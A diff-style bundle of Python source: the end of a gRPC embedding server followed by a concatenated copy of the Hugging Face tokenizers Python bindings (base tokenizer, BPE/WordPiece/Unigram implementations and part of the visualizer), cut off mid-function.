+        embed_pb2_grpc.add_EmbeddingServiceServicer_to_server(EmbeddingService(model), server)
+        SERVICE_NAMES = (embed_pb2.DESCRIPTOR.services_by_name['EmbeddingService'].full_name, reflection.SERVICE_NAME)
+        reflection.enable_server_reflection(SERVICE_NAMES, server)
+        server.add_insecure_port(unix_socket)
+        await server.start()
+        logger.info(f'Server started at {unix_socket}')
+        try:
+            await server.wait_for_termination()
+        except KeyboardInterrupt:
+            logger.info('Signal received. Shutting down')
+            await server.stop(0)
+    asyncio.run(serve_inner(model_path, dtype))
+

huggingface_tokenizers.txt

@@ -0,0 +1,1157 @@
+# File: tokenizers-main/bindings/python/py_src/tokenizers/__init__.py
+from enum import Enum
+from typing import List, Tuple, Union
+Offsets = Tuple[int, int]
+TextInputSequence = str
+''
+PreTokenizedInputSequence = Union[List[str], Tuple[str]]
+''
+TextEncodeInput = Union[TextInputSequence, Tuple[TextInputSequence, TextInputSequence], List[TextInputSequence]]
+''
+PreTokenizedEncodeInput = Union[PreTokenizedInputSequence, Tuple[PreTokenizedInputSequence, PreTokenizedInputSequence], List[PreTokenizedInputSequence]]
+''
+InputSequence = Union[TextInputSequence, PreTokenizedInputSequence]
+''
+EncodeInput = Union[TextEncodeInput, PreTokenizedEncodeInput]
+''
+
+class OffsetReferential(Enum):
+    ORIGINAL = 'original'
+    NORMALIZED = 'normalized'
+
+class OffsetType(Enum):
+    BYTE = 'byte'
+    CHAR = 'char'
+
+class SplitDelimiterBehavior(Enum):
+    REMOVED = 'removed'
+    ISOLATED = 'isolated'
+    MERGED_WITH_PREVIOUS = 'merged_with_previous'
+    MERGED_WITH_NEXT = 'merged_with_next'
+    CONTIGUOUS = 'contiguous'
+from .tokenizers import AddedToken, Encoding, NormalizedString, PreTokenizedString, Regex, Token, Tokenizer, decoders, models, normalizers, pre_tokenizers, processors, trainers, __version__
+from .implementations import BertWordPieceTokenizer, ByteLevelBPETokenizer, CharBPETokenizer, SentencePieceBPETokenizer, SentencePieceUnigramTokenizer
+
+# File: tokenizers-main/bindings/python/py_src/tokenizers/decoders/__init__.py
+from .. import decoders
+Decoder = decoders.Decoder
+ByteLevel = decoders.ByteLevel
+Replace = decoders.Replace
+WordPiece = decoders.WordPiece
+ByteFallback = decoders.ByteFallback
+Fuse = decoders.Fuse
+Strip = decoders.Strip
+Metaspace = decoders.Metaspace
+BPEDecoder = decoders.BPEDecoder
+CTC = decoders.CTC
+Sequence = decoders.Sequence
+
+# File: tokenizers-main/bindings/python/py_src/tokenizers/implementations/base_tokenizer.py
+from typing import Dict, List, Optional, Tuple, Union
+from tokenizers import AddedToken, EncodeInput, Encoding, InputSequence, Tokenizer
+from tokenizers.decoders import Decoder
+from tokenizers.models import Model
+from tokenizers.normalizers import Normalizer
+from tokenizers.pre_tokenizers import PreTokenizer
+from tokenizers.processors import PostProcessor
+Offsets = Tuple[int, int]
+
+class BaseTokenizer:
+
+    def __init__(self, tokenizer: Tokenizer, parameters=None):
+        self._tokenizer = tokenizer
+        self._parameters = parameters if parameters is not None else {}
+
+    def __repr__(self):
+        return 'Tokenizer(vocabulary_size={}, {})'.format(self._tokenizer.get_vocab_size(), ', '.join((k + '=' + str(v) for (k, v) in self._parameters.items())))
+
+    def num_special_tokens_to_add(self, is_pair: bool) -> int:
+        return self._tokenizer.num_special_tokens_to_add(is_pair)
+
+    def get_vocab(self, with_added_tokens: bool=True) -> Dict[str, int]:
+        return self._tokenizer.get_vocab(with_added_tokens=with_added_tokens)
+
+    def get_added_tokens_decoder(self) -> Dict[int, AddedToken]:
+        return self._tokenizer.get_added_tokens_decoder()
+
+    def get_vocab_size(self, with_added_tokens: bool=True) -> int:
+        return self._tokenizer.get_vocab_size(with_added_tokens=with_added_tokens)
+
+    def enable_padding(self, direction: Optional[str]='right', pad_to_multiple_of: Optional[int]=None, pad_id: Optional[int]=0, pad_type_id: Optional[int]=0, pad_token: Optional[str]='[PAD]', length: Optional[int]=None):
+        return self._tokenizer.enable_padding(direction=direction, pad_to_multiple_of=pad_to_multiple_of, pad_id=pad_id, pad_type_id=pad_type_id, pad_token=pad_token, length=length)
+
+    def no_padding(self):
+        return self._tokenizer.no_padding()
+
+    @property
+    def padding(self) -> Optional[dict]:
+        return self._tokenizer.padding
+
+    def enable_truncation(self, max_length: int, stride: Optional[int]=0, strategy: Optional[str]='longest_first'):
+        return self._tokenizer.enable_truncation(max_length, stride=stride, strategy=strategy)
+
+    def no_truncation(self):
+        return self._tokenizer.no_truncation()
+
+    @property
+    def truncation(self) -> Optional[dict]:
+        return self._tokenizer.truncation
+
+    def add_tokens(self, tokens: List[Union[str, AddedToken]]) -> int:
+        return self._tokenizer.add_tokens(tokens)
+
+    def add_special_tokens(self, special_tokens: List[Union[str, AddedToken]]) -> int:
+        return self._tokenizer.add_special_tokens(special_tokens)
+
+    def normalize(self, sequence: str) -> str:
+        return self._tokenizer.normalize(sequence)
+
+    def encode(self, sequence: InputSequence, pair: Optional[InputSequence]=None, is_pretokenized: bool=False, add_special_tokens: bool=True) -> Encoding:
+        if sequence is None:
+            raise ValueError("encode: `sequence` can't be `None`")
+        return self._tokenizer.encode(sequence, pair, is_pretokenized, add_special_tokens)
+
+    def encode_batch(self, inputs: List[EncodeInput], is_pretokenized: bool=False, add_special_tokens: bool=True) -> List[Encoding]:
+        if inputs is None:
+            raise ValueError("encode_batch: `inputs` can't be `None`")
+        return self._tokenizer.encode_batch(inputs, is_pretokenized, add_special_tokens)
+
+    def decode(self, ids: List[int], skip_special_tokens: Optional[bool]=True) -> str:
+        if ids is None:
+            raise ValueError('None input is not valid. Should be a list of integers.')
+        return self._tokenizer.decode(ids, skip_special_tokens=skip_special_tokens)
+
+    def decode_batch(self, sequences: List[List[int]], skip_special_tokens: Optional[bool]=True) -> str:
+        if sequences is None:
+            raise ValueError('None input is not valid. Should be list of list of integers.')
+        return self._tokenizer.decode_batch(sequences, skip_special_tokens=skip_special_tokens)
+
+    def token_to_id(self, token: str) -> Optional[int]:
+        return self._tokenizer.token_to_id(token)
+
+    def id_to_token(self, id: int) -> Optional[str]:
+        return self._tokenizer.id_to_token(id)
+
+    def save_model(self, directory: str, prefix: Optional[str]=None):
+        return self._tokenizer.model.save(directory, prefix=prefix)
+
+    def save(self, path: str, pretty: bool=True):
+        return self._tokenizer.save(path, pretty)
+
+    def to_str(self, pretty: bool=False):
+        return self._tokenizer.to_str(pretty)
+
+    def post_process(self, encoding: Encoding, pair: Optional[Encoding]=None, add_special_tokens: bool=True) -> Encoding:
+        return self._tokenizer.post_process(encoding, pair, add_special_tokens)
+
+    @property
+    def model(self) -> Model:
+        return self._tokenizer.model
+
+    @model.setter
+    def model(self, model: Model):
+        self._tokenizer.model = model
+
+    @property
+    def normalizer(self) -> Normalizer:
+        return self._tokenizer.normalizer
+
+    @normalizer.setter
+    def normalizer(self, normalizer: Normalizer):
+        self._tokenizer.normalizer = normalizer
+
+    @property
+    def pre_tokenizer(self) -> PreTokenizer:
+        return self._tokenizer.pre_tokenizer
+
+    @pre_tokenizer.setter
+    def pre_tokenizer(self, pre_tokenizer: PreTokenizer):
+        self._tokenizer.pre_tokenizer = pre_tokenizer
+
+    @property
+    def post_processor(self) -> PostProcessor:
+        return self._tokenizer.post_processor
+
+    @post_processor.setter
+    def post_processor(self, post_processor: PostProcessor):
+        self._tokenizer.post_processor = post_processor
+
+    @property
+    def decoder(self) -> Decoder:
+        return self._tokenizer.decoder
+
+    @decoder.setter
+    def decoder(self, decoder: Decoder):
+        self._tokenizer.decoder = decoder
+
+# File: tokenizers-main/bindings/python/py_src/tokenizers/implementations/bert_wordpiece.py
+from typing import Dict, Iterator, List, Optional, Union
+from tokenizers import AddedToken, Tokenizer, decoders, trainers
+from tokenizers.models import WordPiece
+from tokenizers.normalizers import BertNormalizer
+from tokenizers.pre_tokenizers import BertPreTokenizer
+from tokenizers.processors import BertProcessing
+from .base_tokenizer import BaseTokenizer
+
+class BertWordPieceTokenizer(BaseTokenizer):
+
+    def __init__(self, vocab: Optional[Union[str, Dict[str, int]]]=None, unk_token: Union[str, AddedToken]='[UNK]', sep_token: Union[str, AddedToken]='[SEP]', cls_token: Union[str, AddedToken]='[CLS]', pad_token: Union[str, AddedToken]='[PAD]', mask_token: Union[str, AddedToken]='[MASK]', clean_text: bool=True, handle_chinese_chars: bool=True, strip_accents: Optional[bool]=None, lowercase: bool=True, wordpieces_prefix: str='##'):
+        if vocab is not None:
+            tokenizer = Tokenizer(WordPiece(vocab, unk_token=str(unk_token)))
+        else:
+            tokenizer = Tokenizer(WordPiece(unk_token=str(unk_token)))
+        if tokenizer.token_to_id(str(unk_token)) is not None:
+            tokenizer.add_special_tokens([str(unk_token)])
+        if tokenizer.token_to_id(str(sep_token)) is not None:
+            tokenizer.add_special_tokens([str(sep_token)])
+        if tokenizer.token_to_id(str(cls_token)) is not None:
+            tokenizer.add_special_tokens([str(cls_token)])
+        if tokenizer.token_to_id(str(pad_token)) is not None:
+            tokenizer.add_special_tokens([str(pad_token)])
+        if tokenizer.token_to_id(str(mask_token)) is not None:
+            tokenizer.add_special_tokens([str(mask_token)])
+        tokenizer.normalizer = BertNormalizer(clean_text=clean_text, handle_chinese_chars=handle_chinese_chars, strip_accents=strip_accents, lowercase=lowercase)
+        tokenizer.pre_tokenizer = BertPreTokenizer()
+        if vocab is not None:
+            sep_token_id = tokenizer.token_to_id(str(sep_token))
+            if sep_token_id is None:
+                raise TypeError('sep_token not found in the vocabulary')
+            cls_token_id = tokenizer.token_to_id(str(cls_token))
+            if cls_token_id is None:
+                raise TypeError('cls_token not found in the vocabulary')
+            tokenizer.post_processor = BertProcessing((str(sep_token), sep_token_id), (str(cls_token), cls_token_id))
+        tokenizer.decoder = decoders.WordPiece(prefix=wordpieces_prefix)
+        parameters = {'model': 'BertWordPiece', 'unk_token': unk_token, 'sep_token': sep_token, 'cls_token': cls_token, 'pad_token': pad_token, 'mask_token': mask_token, 'clean_text': clean_text, 'handle_chinese_chars': handle_chinese_chars, 'strip_accents': strip_accents, 'lowercase': lowercase, 'wordpieces_prefix': wordpieces_prefix}
+        super().__init__(tokenizer, parameters)
+
+    @staticmethod
+    def from_file(vocab: str, **kwargs):
+        vocab = WordPiece.read_file(vocab)
+        return BertWordPieceTokenizer(vocab, **kwargs)
+
+    def train(self, files: Union[str, List[str]], vocab_size: int=30000, min_frequency: int=2, limit_alphabet: int=1000, initial_alphabet: List[str]=[], special_tokens: List[Union[str, AddedToken]]=['[PAD]', '[UNK]', '[CLS]', '[SEP]', '[MASK]'], show_progress: bool=True, wordpieces_prefix: str='##'):
+        trainer = trainers.WordPieceTrainer(vocab_size=vocab_size, min_frequency=min_frequency, limit_alphabet=limit_alphabet, initial_alphabet=initial_alphabet, special_tokens=special_tokens, show_progress=show_progress, continuing_subword_prefix=wordpieces_prefix)
+        if isinstance(files, str):
+            files = [files]
+        self._tokenizer.train(files, trainer=trainer)
+
+    def train_from_iterator(self, iterator: Union[Iterator[str], Iterator[Iterator[str]]], vocab_size: int=30000, min_frequency: int=2, limit_alphabet: int=1000, initial_alphabet: List[str]=[], special_tokens: List[Union[str, AddedToken]]=['[PAD]', '[UNK]', '[CLS]', '[SEP]', '[MASK]'], show_progress: bool=True, wordpieces_prefix: str='##', length: Optional[int]=None):
+        trainer = trainers.WordPieceTrainer(vocab_size=vocab_size, min_frequency=min_frequency, limit_alphabet=limit_alphabet, initial_alphabet=initial_alphabet, special_tokens=special_tokens, show_progress=show_progress, continuing_subword_prefix=wordpieces_prefix)
+        self._tokenizer.train_from_iterator(iterator, trainer=trainer, length=length)
+
+# File: tokenizers-main/bindings/python/py_src/tokenizers/implementations/byte_level_bpe.py
+from typing import Dict, Iterator, List, Optional, Tuple, Union
+from tokenizers import AddedToken, Tokenizer, decoders, pre_tokenizers, processors, trainers
+from tokenizers.models import BPE
+from tokenizers.normalizers import Lowercase, Sequence, unicode_normalizer_from_str
+from .base_tokenizer import BaseTokenizer
+
+class ByteLevelBPETokenizer(BaseTokenizer):
+
+    def __init__(self, vocab: Optional[Union[str, Dict[str, int]]]=None, merges: Optional[Union[str, Dict[Tuple[int, int], Tuple[int, int]]]]=None, add_prefix_space: bool=False, lowercase: bool=False, dropout: Optional[float]=None, unicode_normalizer: Optional[str]=None, continuing_subword_prefix: Optional[str]=None, end_of_word_suffix: Optional[str]=None, trim_offsets: bool=False):
+        if vocab is not None and merges is not None:
+            tokenizer = Tokenizer(BPE(vocab, merges, dropout=dropout, continuing_subword_prefix=continuing_subword_prefix or '', end_of_word_suffix=end_of_word_suffix or ''))
+        else:
+            tokenizer = Tokenizer(BPE())
+        normalizers = []
+        if unicode_normalizer:
+            normalizers += [unicode_normalizer_from_str(unicode_normalizer)]
+        if lowercase:
+            normalizers += [Lowercase()]
+        if len(normalizers) > 0:
+            if len(normalizers) > 1:
+                tokenizer.normalizer = Sequence(normalizers)
+            else:
+                tokenizer.normalizer = normalizers[0]
+        tokenizer.pre_tokenizer = pre_tokenizers.ByteLevel(add_prefix_space=add_prefix_space)
+        tokenizer.decoder = decoders.ByteLevel()
+        tokenizer.post_processor = processors.ByteLevel(trim_offsets=trim_offsets)
+        parameters = {'model': 'ByteLevelBPE', 'add_prefix_space': add_prefix_space, 'lowercase': lowercase, 'dropout': dropout, 'unicode_normalizer': unicode_normalizer, 'continuing_subword_prefix': continuing_subword_prefix, 'end_of_word_suffix': end_of_word_suffix, 'trim_offsets': trim_offsets}
+        super().__init__(tokenizer, parameters)
+
+    @staticmethod
+    def from_file(vocab_filename: str, merges_filename: str, **kwargs):
+        (vocab, merges) = BPE.read_file(vocab_filename, merges_filename)
+        return ByteLevelBPETokenizer(vocab, merges, **kwargs)
+
+    def train(self, files: Union[str, List[str]], vocab_size: int=30000, min_frequency: int=2, show_progress: bool=True, special_tokens: List[Union[str, AddedToken]]=[]):
+        trainer = trainers.BpeTrainer(vocab_size=vocab_size, min_frequency=min_frequency, show_progress=show_progress, special_tokens=special_tokens, initial_alphabet=pre_tokenizers.ByteLevel.alphabet())
+        if isinstance(files, str):
+            files = [files]
+        self._tokenizer.train(files, trainer=trainer)
+
+    def train_from_iterator(self, iterator: Union[Iterator[str], Iterator[Iterator[str]]], vocab_size: int=30000, min_frequency: int=2, show_progress: bool=True, special_tokens: List[Union[str, AddedToken]]=[], length: Optional[int]=None):
+        trainer = trainers.BpeTrainer(vocab_size=vocab_size, min_frequency=min_frequency, show_progress=show_progress, special_tokens=special_tokens, initial_alphabet=pre_tokenizers.ByteLevel.alphabet())
+        self._tokenizer.train_from_iterator(iterator, trainer=trainer, length=length)
+
+# File: tokenizers-main/bindings/python/py_src/tokenizers/implementations/char_level_bpe.py
+from typing import Dict, Iterator, List, Optional, Tuple, Union
+from .. import AddedToken, Tokenizer, decoders, pre_tokenizers, trainers
+from ..models import BPE
+from ..normalizers import BertNormalizer, Lowercase, Sequence, unicode_normalizer_from_str
+from .base_tokenizer import BaseTokenizer
+
+class CharBPETokenizer(BaseTokenizer):
+
+    def __init__(self, vocab: Optional[Union[str, Dict[str, int]]]=None, merges: Optional[Union[str, Dict[Tuple[int, int], Tuple[int, int]]]]=None, unk_token: Union[str, AddedToken]='<unk>', suffix: str='</w>', dropout: Optional[float]=None, lowercase: bool=False, unicode_normalizer: Optional[str]=None, bert_normalizer: bool=True, split_on_whitespace_only: bool=False):
+        if vocab is not None and merges is not None:
+            tokenizer = Tokenizer(BPE(vocab, merges, dropout=dropout, unk_token=str(unk_token), end_of_word_suffix=suffix))
+        else:
+            tokenizer = Tokenizer(BPE(unk_token=str(unk_token), dropout=dropout, end_of_word_suffix=suffix))
+        if tokenizer.token_to_id(str(unk_token)) is not None:
+            tokenizer.add_special_tokens([str(unk_token)])
+        normalizers = []
+        if unicode_normalizer:
+            normalizers += [unicode_normalizer_from_str(unicode_normalizer)]
+        if bert_normalizer:
+            normalizers += [BertNormalizer(lowercase=False)]
+        if lowercase:
+            normalizers += [Lowercase()]
+        if len(normalizers) > 0:
+            if len(normalizers) > 1:
+                tokenizer.normalizer = Sequence(normalizers)
+            else:
+                tokenizer.normalizer = normalizers[0]
+        if split_on_whitespace_only:
+            tokenizer.pre_tokenizer = pre_tokenizers.WhitespaceSplit()
+        else:
+            tokenizer.pre_tokenizer = pre_tokenizers.BertPreTokenizer()
+        tokenizer.decoder = decoders.BPEDecoder(suffix=suffix)
+        parameters = {'model': 'BPE', 'unk_token': unk_token, 'suffix': suffix, 'dropout': dropout, 'lowercase': lowercase, 'unicode_normalizer': unicode_normalizer, 'bert_normalizer': bert_normalizer, 'split_on_whitespace_only': split_on_whitespace_only}
+        super().__init__(tokenizer, parameters)
+
+    @staticmethod
+    def from_file(vocab_filename: str, merges_filename: str, **kwargs):
+        (vocab, merges) = BPE.read_file(vocab_filename, merges_filename)
+        return CharBPETokenizer(vocab, merges, **kwargs)
+
+    def train(self, files: Union[str, List[str]], vocab_size: int=30000, min_frequency: int=2, special_tokens: List[Union[str, AddedToken]]=['<unk>'], limit_alphabet: int=1000, initial_alphabet: List[str]=[], suffix: Optional[str]='</w>', show_progress: bool=True):
+        trainer = trainers.BpeTrainer(vocab_size=vocab_size, min_frequency=min_frequency, special_tokens=special_tokens, limit_alphabet=limit_alphabet, initial_alphabet=initial_alphabet, end_of_word_suffix=suffix, show_progress=show_progress)
+        if isinstance(files, str):
+            files = [files]
+        self._tokenizer.train(files, trainer=trainer)
+
+    def train_from_iterator(self, iterator: Union[Iterator[str], Iterator[Iterator[str]]], vocab_size: int=30000, min_frequency: int=2, special_tokens: List[Union[str, AddedToken]]=['<unk>'], limit_alphabet: int=1000, initial_alphabet: List[str]=[], suffix: Optional[str]='</w>', show_progress: bool=True, length: Optional[int]=None):
+        trainer = trainers.BpeTrainer(vocab_size=vocab_size, min_frequency=min_frequency, special_tokens=special_tokens, limit_alphabet=limit_alphabet, initial_alphabet=initial_alphabet, end_of_word_suffix=suffix, show_progress=show_progress)
+        self._tokenizer.train_from_iterator(iterator, trainer=trainer, length=length)
+
+# File: tokenizers-main/bindings/python/py_src/tokenizers/implementations/sentencepiece_bpe.py
+from typing import Dict, Iterator, List, Optional, Tuple, Union
+from tokenizers import AddedToken, Tokenizer, decoders, pre_tokenizers, trainers
+from tokenizers.models import BPE
+from tokenizers.normalizers import NFKC
+from .base_tokenizer import BaseTokenizer
+
+class SentencePieceBPETokenizer(BaseTokenizer):
+
+    def __init__(self, vocab: Optional[Union[str, Dict[str, int]]]=None, merges: Optional[Union[str, Dict[Tuple[int, int], Tuple[int, int]]]]=None, unk_token: Union[str, AddedToken]='<unk>', replacement: str='▁', add_prefix_space: bool=True, dropout: Optional[float]=None, fuse_unk: Optional[bool]=False):
+        if vocab is not None and merges is not None:
+            tokenizer = Tokenizer(BPE(vocab, merges, dropout=dropout, unk_token=unk_token, fuse_unk=fuse_unk))
+        else:
+            tokenizer = Tokenizer(BPE(dropout=dropout, unk_token=unk_token, fuse_unk=fuse_unk))
+        if tokenizer.token_to_id(str(unk_token)) is not None:
+            tokenizer.add_special_tokens([str(unk_token)])
+        tokenizer.normalizer = NFKC()
+        prepend_scheme = 'always' if add_prefix_space else 'never'
+        tokenizer.pre_tokenizer = pre_tokenizers.Metaspace(replacement=replacement, prepend_scheme=prepend_scheme)
+        tokenizer.decoder = decoders.Metaspace(replacement=replacement, prepend_scheme=prepend_scheme)
+        parameters = {'model': 'SentencePieceBPE', 'unk_token': unk_token, 'replacement': replacement, 'add_prefix_space': add_prefix_space, 'dropout': dropout}
+        super().__init__(tokenizer, parameters)
+
+    @staticmethod
+    def from_file(vocab_filename: str, merges_filename: str, **kwargs):
+        (vocab, merges) = BPE.read_file(vocab_filename, merges_filename)
+        return SentencePieceBPETokenizer(vocab, merges, **kwargs)
+
+    def train(self, files: Union[str, List[str]], vocab_size: int=30000, min_frequency: int=2, special_tokens: List[Union[str, AddedToken]]=['<unk>'], limit_alphabet: int=1000, initial_alphabet: List[str]=[], show_progress: bool=True):
+        trainer = trainers.BpeTrainer(vocab_size=vocab_size, min_frequency=min_frequency, special_tokens=special_tokens, limit_alphabet=limit_alphabet, initial_alphabet=initial_alphabet, show_progress=show_progress)
+        if isinstance(files, str):
+            files = [files]
+        self._tokenizer.train(files, trainer=trainer)
+
+    def train_from_iterator(self, iterator: Union[Iterator[str], Iterator[Iterator[str]]], vocab_size: int=30000, min_frequency: int=2, special_tokens: List[Union[str, AddedToken]]=['<unk>'], limit_alphabet: int=1000, initial_alphabet: List[str]=[], show_progress: bool=True, length: Optional[int]=None):
+        trainer = trainers.BpeTrainer(vocab_size=vocab_size, min_frequency=min_frequency, special_tokens=special_tokens, limit_alphabet=limit_alphabet, initial_alphabet=initial_alphabet, show_progress=show_progress)
+        self._tokenizer.train_from_iterator(iterator, trainer=trainer, length=length)
+
+# File: tokenizers-main/bindings/python/py_src/tokenizers/implementations/sentencepiece_unigram.py
+import json
+import os
+from typing import Iterator, List, Optional, Union, Tuple
+from tokenizers import AddedToken, Regex, Tokenizer, decoders, normalizers, pre_tokenizers, trainers
+from tokenizers.models import Unigram
+from .base_tokenizer import BaseTokenizer
+
+class SentencePieceUnigramTokenizer(BaseTokenizer):
+
+    def __init__(self, vocab: Optional[List[Tuple[str, float]]]=None, replacement: str='▁', add_prefix_space: bool=True):
+        if vocab is not None:
+            tokenizer = Tokenizer(Unigram(vocab))
+        else:
+            tokenizer = Tokenizer(Unigram())
+        tokenizer.normalizer = normalizers.Sequence([normalizers.Nmt(), normalizers.NFKC(), normalizers.Replace(Regex(' {2,}'), ' ')])
+        prepend_scheme = 'always' if add_prefix_space else 'never'
+        tokenizer.pre_tokenizer = pre_tokenizers.Metaspace(replacement=replacement, prepend_scheme=prepend_scheme)
+        tokenizer.decoder = decoders.Metaspace(replacement=replacement, prepend_scheme=prepend_scheme)
+        parameters = {'model': 'SentencePieceUnigram', 'replacement': replacement, 'add_prefix_space': add_prefix_space}
+        super().__init__(tokenizer, parameters)
+
+    def train(self, files: Union[str, List[str]], vocab_size: int=8000, show_progress: bool=True, special_tokens: Optional[List[Union[str, AddedToken]]]=None, initial_alphabet: Optional[List[str]]=None, unk_token: Optional[str]=None):
+        if special_tokens is None:
+            special_tokens = []
+        if initial_alphabet is None:
+            initial_alphabet = []
+        trainer = trainers.UnigramTrainer(vocab_size=vocab_size, special_tokens=special_tokens, show_progress=show_progress, initial_alphabet=initial_alphabet, unk_token=unk_token)
+        if isinstance(files, str):
+            files = [files]
+        self._tokenizer.train(files, trainer=trainer)
+
+    def train_from_iterator(self, iterator: Union[Iterator[str], Iterator[Iterator[str]]], vocab_size: int=8000, show_progress: bool=True, special_tokens: Optional[List[Union[str, AddedToken]]]=None, initial_alphabet: Optional[List[str]]=None, unk_token: Optional[str]=None, length: Optional[int]=None):
+        if special_tokens is None:
+            special_tokens = []
+        if initial_alphabet is None:
+            initial_alphabet = []
+        trainer = trainers.UnigramTrainer(vocab_size=vocab_size, special_tokens=special_tokens, show_progress=show_progress, initial_alphabet=initial_alphabet, unk_token=unk_token)
+        self._tokenizer.train_from_iterator(iterator, trainer=trainer, length=length)
+
+    @staticmethod
+    def from_spm(filename: str):
+        try:
+            import sys
+            sys.path.append('.')
+            import sentencepiece_model_pb2 as model
+        except Exception:
+            raise Exception("You don't seem to have the required protobuf file, in order to use this function you need to run `pip install protobuf` and `wget https://raw.githubusercontent.com/google/sentencepiece/master/python/src/sentencepiece/sentencepiece_model_pb2.py` for us to be able to read the intrinsics of your spm_file. `pip install sentencepiece` is not required.")
+        m = model.ModelProto()
+        m.ParseFromString(open(filename, 'rb').read())
+        precompiled_charsmap = m.normalizer_spec.precompiled_charsmap
+        vocab = [(piece.piece, piece.score) for piece in m.pieces]
+        unk_id = m.trainer_spec.unk_id
+        model_type = m.trainer_spec.model_type
+        byte_fallback = m.trainer_spec.byte_fallback
+        if model_type != 1:
+            raise Exception("You're trying to run a `Unigram` model but you're file was trained with a different algorithm")
+        replacement = '▁'
+        add_prefix_space = True
+        tokenizer = Tokenizer(Unigram(vocab, unk_id, byte_fallback))
+        if precompiled_charsmap:
+            tokenizer.normalizer = normalizers.Sequence([normalizers.Precompiled(precompiled_charsmap), normalizers.Replace(Regex(' {2,}'), ' ')])
+        else:
+            tokenizer.normalizer = normalizers.Sequence([normalizers.Replace(Regex(' {2,}'), ' ')])
+        prepend_scheme = 'always' if add_prefix_space else 'never'
+        tokenizer.pre_tokenizer = pre_tokenizers.Metaspace(replacement=replacement, prepend_scheme=prepend_scheme)
+        tokenizer.decoder = decoders.Metaspace(replacement=replacement, prepend_scheme=prepend_scheme)
+        parameters = {'model': 'SentencePieceUnigram'}
+        obj = BaseTokenizer.__new__(SentencePieceUnigramTokenizer, tokenizer, parameters)
+        BaseTokenizer.__init__(obj, tokenizer, parameters)
+        return obj
+
+# File: tokenizers-main/bindings/python/py_src/tokenizers/normalizers/__init__.py
+from .. import normalizers
+Normalizer = normalizers.Normalizer
+BertNormalizer = normalizers.BertNormalizer
+NFD = normalizers.NFD
+NFKD = normalizers.NFKD
+NFC = normalizers.NFC
+NFKC = normalizers.NFKC
+Sequence = normalizers.Sequence
+Lowercase = normalizers.Lowercase
+Prepend = normalizers.Prepend
+Strip = normalizers.Strip
+StripAccents = normalizers.StripAccents
+Nmt = normalizers.Nmt
+Precompiled = normalizers.Precompiled
+Replace = normalizers.Replace
+ByteLevel = normalizers.ByteLevel
+NORMALIZERS = {'nfc': NFC, 'nfd': NFD, 'nfkc': NFKC, 'nfkd': NFKD}
+
+def unicode_normalizer_from_str(normalizer: str) -> Normalizer:
+    if normalizer not in NORMALIZERS:
+        raise ValueError('{} is not a known unicode normalizer. Available are {}'.format(normalizer, NORMALIZERS.keys()))
+    return NORMALIZERS[normalizer]()
+
+# File: tokenizers-main/bindings/python/py_src/tokenizers/pre_tokenizers/__init__.py
+from .. import pre_tokenizers
+PreTokenizer = pre_tokenizers.PreTokenizer
+BertPreTokenizer = pre_tokenizers.BertPreTokenizer
+ByteLevel = pre_tokenizers.ByteLevel
+CharDelimiterSplit = pre_tokenizers.CharDelimiterSplit
+Digits = pre_tokenizers.Digits
+Metaspace = pre_tokenizers.Metaspace
+Punctuation = pre_tokenizers.Punctuation
+Sequence = pre_tokenizers.Sequence
+Split = pre_tokenizers.Split
+UnicodeScripts = pre_tokenizers.UnicodeScripts
+Whitespace = pre_tokenizers.Whitespace
+WhitespaceSplit = pre_tokenizers.WhitespaceSplit
+
+# File: tokenizers-main/bindings/python/py_src/tokenizers/tools/visualizer.py
+import itertools
+import os
+import re
+from string import Template
+from typing import Any, Callable, Dict, List, NamedTuple, Optional, Tuple
+from tokenizers import Encoding, Tokenizer
+dirname = os.path.dirname(__file__)
+css_filename = os.path.join(dirname, 'visualizer-styles.css')
+with open(css_filename) as f:
+    css = f.read()
+
+class Annotation:
+    start: int
+    end: int
+    label: int
+
+    def __init__(self, start: int, end: int, label: str):
+        self.start = start
+        self.end = end
+        self.label = label
+AnnotationList = List[Annotation]
+PartialIntList = List[Optional[int]]
+
+class CharStateKey(NamedTuple):
+    token_ix: Optional[int]
+    anno_ix: Optional[int]
+
+class CharState:
+    char_ix: Optional[int]
+
+    def __init__(self, char_ix):
+        self.char_ix = char_ix
+        self.anno_ix: Optional[int] = None
+        self.tokens: List[int] = []
+
+    @property
+    def token_ix(self):
+        return self.tokens[0] if len(self.tokens) > 0 else None
+
+    @property
+    def is_multitoken(self):
+        return len(self.tokens) > 1
+
+    def partition_key(self) -> CharStateKey:
+        return CharStateKey(token_ix=self.token_ix, anno_ix=self.anno_ix)
+
+class Aligned:
+    pass
+
+class EncodingVisualizer:
+    unk_token_regex = re.compile('(.{1}\x08)?(unk|oov)(\x08.{1})?', flags=re.IGNORECASE)
+
+    def __init__(self, tokenizer: Tokenizer, default_to_notebook: bool=True, annotation_converter: Optional[Callable[[Any], Annotation]]=None):
+        if default_to_notebook:
+            try:
+                from IPython.core.display import HTML, display
+            except ImportError:
+                raise Exception("We couldn't import IPython utils for html display.\n                        Are you running in a notebook?\n                        You can also pass `default_to_notebook=False` to get back raw HTML\n                    ")
+        self.tokenizer = tokenizer
+        self.default_to_notebook = default_to_notebook
+        self.annotation_coverter = annotation_converter
+        pass
+
+    def __call__(self, text: str, annotations: AnnotationList=[], default_to_notebook: Optional[bool]=None) -> Optional[str]:
+        final_default_to_notebook = self.default_to_notebook
+        if default_to_notebook is not None:
+            final_default_to_notebook = default_to_notebook
+        if final_default_to_notebook:
+            try:
+                from IPython.core.display import HTML, display
+            except ImportError:
+                raise Exception("We couldn't import IPython utils for html display.\n                    Are you running in a notebook?")
+        if self.annotation_coverter is not None:
+            annotations = list(map(self.annotation_coverter, annotations))
+        encoding = self.tokenizer.encode(text)
+        html = EncodingVisualizer.__make_html(text, encoding, annotations)
+        if final_default_to_notebook:
+            display(HTML(html))
+        else:
+            return html
+
+    @staticmethod
+    def calculate_label_colors(annotations: AnnotationList) -> Dict[str, str]:
+        if len(annotations) == 0:
+            return {}
+        labels = set(map(lambda x: x.label, annotations))
+        num_labels = len(labels)
+        h_step = int(255 / num_labels)
+        if h_step < 20:
+            h_step = 20
+        s = 32
+        l = 64
+        h = 10
+        colors = {}
+        for label in sorted(labels):
+            colors[label] = f'hsl({h},{s}%,{l}%'
+            h += h_step
+        return colors
+
+    @staticmethod
+    def consecutive_chars_to_html(consecutive_chars_list: List[CharState], text: str, encoding: Encoding):
+        first = consecutive_chars_list[0]
+        if first.char_ix is None:
+            stoken = encoding.tokens[first.token_ix]
+            return f'<span class="special-token" data-stoken={stoken}></span>'
+        last = consecutive_chars_list[-1]
+        start = first.char_ix
+        end = last.char_ix + 1
+        span_text = text[start:end]
+        css_classes = []
+        data_items = {}
